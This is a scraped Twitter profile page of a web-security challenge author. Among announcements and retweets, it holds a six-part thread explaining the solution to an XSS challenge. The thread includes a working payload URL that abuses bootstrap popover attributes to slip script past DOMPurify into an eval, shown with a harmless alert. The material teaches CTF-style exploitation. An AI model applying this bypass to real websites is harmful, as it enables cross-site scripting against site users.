Tweetovi

Blokirali ste korisnika/cu @PwnFunction

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @PwnFunction

  1. Prikvačeni tweet
    10. sij

    Yo hackers! I've built a small website that has some challenges. 🔗 The main challenge for the week is `WW3` All upcoming challenges will be hosted there, so stay tuned :) Would love to know what you guys think. Have fun!

    Poništi
  2. prije 6 sati
    Poništi
  3. proslijedio/la je Tweet
    29. sij

    Last call! TODAY at a 1 PM EST Webinar on "Shellcode For The Masses" with the Network, I will introduce what is, how it's used, discuss some binary techniques and security mitigations, and showcase some demos!

    Poništi
  4. proslijedio/la je Tweet
    23. sij

    I started writing solutions to my challenges on quite a time ago but haven't had enough time to finish it. I decided to publish these very chaotic writeups to Dominoes, Scam Generator and p&q service.

    Prikaži ovu nit
    Poništi
  5. 19. sij

    Solutions to the challenge `WW3` on Any bugs/typos, lemme know :)

    Poništi
  6. 18. sij

    Thanks for the 10k subs on YouTube! Means a lot to me :)

    Poništi
  7. proslijedio/la je Tweet
    17. sij

    I clicked on this video because of clickbait, and it turned out to contain actual great advice!

    Poništi
  8. proslijedio/la je Tweet
    11. sij

    My courses are going back to GitHub and off of my website. It was really annoying running them on my website. The reverse engineering course is getting a revamp soon and a basic exploit dev course is being worked on.

    Prikaži ovu nit
    Poništi
  9. proslijedio/la je Tweet
    14. sij

    Voting is now open for the top 10 new web hacking techniques of 2019:

    Poništi
  10. 10. sij

    [NEW] Challenge DM me if you solved it :) Have fun! * Solutions, 1 week from now.

    Prikaži ovu nit
    Poništi
  11. proslijedio/la je Tweet

    🎉 First security blogpost of 2020 🎉 Some people ask me, so here is how to start fuzzing APIs of JavaScript engines like Chrome/V8. In this blogpost, I'm using: ✅ Dharma/Domato ✅ Chrome/v8 ASan pre-built ✅ Honggfuzz ;)

    Poništi
  12. proslijedio/la je Tweet
    2. sij
    Odgovor korisniku/ci

    Loved the challenge, it was definitely a good learning experience for me. To better digest the solution, I broke it down and explained it in my own words in a slightly more verbose way (same exploit though). If anyone wants to read it, they can find it at

    Poništi
  13. 1. sij

    [6/6] But the data we want to add won't be added unless the popover is shown, but since there's a popover with the id where the show() is called on, we can simply add the id

    Prikaži ovu nit
    Poništi
  14. 1. sij

    [5/6] resulting number innerHTML will be `'<some popover template html code>'-alert(1337)//<some popover template html code>` now it's valid javascript that get's eval-ed.

    Prikaži ovu nit
    Poništi
  15. 1. sij

    [4/6] So we just need to make it a valid javascript, because it's being eval-ed. number=' name=<button data-toggle=popover data-container=number data-content="'-alert(1337)//">

    Prikaži ovu nit
    Poništi
  16. 1. sij

    [3/6] If number=7 name=<button data-toggle=popover data-container=number data-content="blah blah"> resulting number innerHTML will be `7<some popover template html code>blah blah<some popover template html code>`

    Prikaži ovu nit
    Poništi
  17. 1. sij

    [2/6] Clearly the `number` param is eval-ed, so before it lands inside `eval`, can we append some data to it? To do this bootstrap has a nice feature using popovers like using `data-container` (), so we set it to `number` tag.

    Prikaži ovu nit
    Poništi
  18. 1. sij
    Prikaži ovu nit
    Poništi
  19. 1. sij

    [1/6] * 2 parameters `number` & `name` * `number` can be only 1 character * `name` can be anything, but DOMPurify is used to sanitize * The site uses bootstrap * Goal is to make our input somehow land inside the eval

    Prikaži ovu nit
    Poništi
  20. 1. sij

    The challenge has ended Solution: http://vulnerableweb[.]site/xss/xss.php?number='&name=<button id=keanu data-toggle=popover data-container=number data-content="'-alert(document.domain)//"> (see reply for explanation)

    Prikaži ovu nit
    Poništi

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·